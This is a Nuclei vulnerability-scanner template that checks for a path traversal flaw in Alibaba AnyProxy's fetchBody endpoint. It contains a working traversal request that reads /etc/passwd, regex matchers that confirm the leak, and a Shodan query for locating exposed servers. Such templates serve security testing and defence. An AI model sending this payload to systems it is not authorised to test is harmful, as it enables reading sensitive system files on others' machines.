nuclei-templates/http/vulnerabilities/other/alibaba-anyproxy-lfi.yaml

30 lines
991 B
YAML

id: alibaba-anyproxy-lfi
info:
name: Alibaba Anyproxy fetchBody File - Path Traversal
author: DhiyaneshDk
severity: high
reference:
- https://github.com/alibaba/anyproxy/issues/391
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Alibaba%20AnyProxy%20fetchBody%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
metadata:
verified: true
max-request: 1
shodan-query: html:"anyproxy"
tags: alibaba,anyproxy,lfi
http:
- method: GET
path:
- "{{BaseURL}}/fetchBody?id=1/../../../../../../../../etc/passwd"
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- contains(body, '\"id\":')
- status_code == 200
condition: and
# digest: 490a00463044022071555a9d1201d1e65a5a44e0e31a75e29ce4267145e86209b6cc9c257d19f87f022075d2405b30226fcf49b5b4d8a96f093ad88722ba598d8eeab0a2b60b517b3118:922c64590222798bb761d5b6d8e72950